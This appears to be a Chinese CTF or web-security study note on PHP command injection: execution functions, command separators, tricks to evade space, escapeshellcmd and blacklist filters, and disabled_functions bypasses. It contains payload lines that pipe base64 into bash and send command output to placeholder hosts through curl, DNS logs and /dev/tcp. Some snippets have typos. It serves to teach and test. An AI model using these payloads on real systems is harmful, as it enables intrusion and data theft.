命令执行
常见函数
-
system()
:执行命令并输出 -
exec()
:执行命令但不输出<?php exec('pwd', $b); vardump($b); // 返回结果到变量$b,vardump输出结果 ?>
-
passthru()
:执行命令并输出 -
shell_exec()
:执行命令但不输出,无回显<?php vardump(shell_exec('ls')); ?>
-
反引号``:
执行
shell
命令,并返回结果字符串<?php $a = 'ls'; echo `$a`; ?>
-
ob_start()
:打开输出缓冲控制<?php highlight_file(__FILE__); ob_start("system"); echo "ls"; ob_end_flush(); ?>
绕过一些限制
- 常见分隔符:
%0a 换行符
%0d 回车符
; 连续指令
& 后台进程
| 管道符
|| && 逻辑符
- 绕过空格
$IFS
${IFS}
$IFS$9
<>
- 绕过
escapeshellcmd()
-
情景一:
win
下执行bat
文件<?php $command = 'dir'.$_POST['dir']; $escaped_command = escapeshellcommand($command); file_puts_contents('out.bat', $escaped_command); system('out.bat'); ?>
如果是执行
.bat
文件的话,那么我们可以用%1a
绕过过滤执行命令(%5c%1a?
) -
宽字节注入(php5.2.5之前)
这个原理与宽字节注入原理应该很相似。主要是使用宽字节在解析时让我们输入的符号逃逸出来。escapeshellcmd()
会过滤的字符如下:
- 黑名单过滤
-
拼凑
例如:
a=l;b=s;$a$b // 变量拼接 ca\t fl\ag; // 反斜线连接 ca""t fl""ag // 双引号连接
-
base64
编码`echo "bHM="|base64 -d` echo "bHM="|base64 -d|bash
-
利用已有资源
这里已有资源是指站点文件和环境变量,比如一个文件
test.php
:<?php phpinfo(); ?>
利用
expr
命令和awk
文本解析命令,截取文件中字符:expr substr $(awk NR==1 test.php) 1 1 // < expr substr $(awk NR==1 test.php) 2 1 // ? expr substr $(awk NR==3 test.php) 1 1 // ? expr substr $(awk NR==3 test.php) 2 1 // >
利用环境变量:
echo ${PATH:0:1} // / expr substr $(pwd) 1 1 // / expr substr $PWD 1 1 // / expr substr $PATH 1 1 // / expr substr $SESSION_MANAGER 1 1 // /
-
无回显
与
sql
注入、xss
等无回显情况类似,命令执行也可以用dnslog
或者自己的vps
来解决如:
curl ip:port/`shell` ping -c 1 `whoami`."xxxxx.dnslog.cn" bash -c "ls > /dev/tcp/ip/port"
-
长度限制
主要利用的是重定向创建命令、
ls
、ls -t
、\
连接shell
命令的特点,利用这些特点,我们再通过自己的思考来构造命令。构造命令的时候要注意
ls
和ls -t
的排序特点:
ls
的排序特点是空格 -> 符号 -> 数字 -> 字符ls -t
的排序特点是最近创建的文件最前
根据以上两个排序特点就可以发挥自己的聪明才智去构造命令了。。
- 一些其他方法
利用 FFI 调用 C 库中的函数
这个可以用来绕过FFI:cdef(int system(const cahr* command);)->system("whoami");
disabled_functions
,但是要注意只能在php
预加载文件中使用
另外还有LD_PRELOAD + putenv
组和也常常被用于绕过disabled_functions
(如有侵权,联系删除)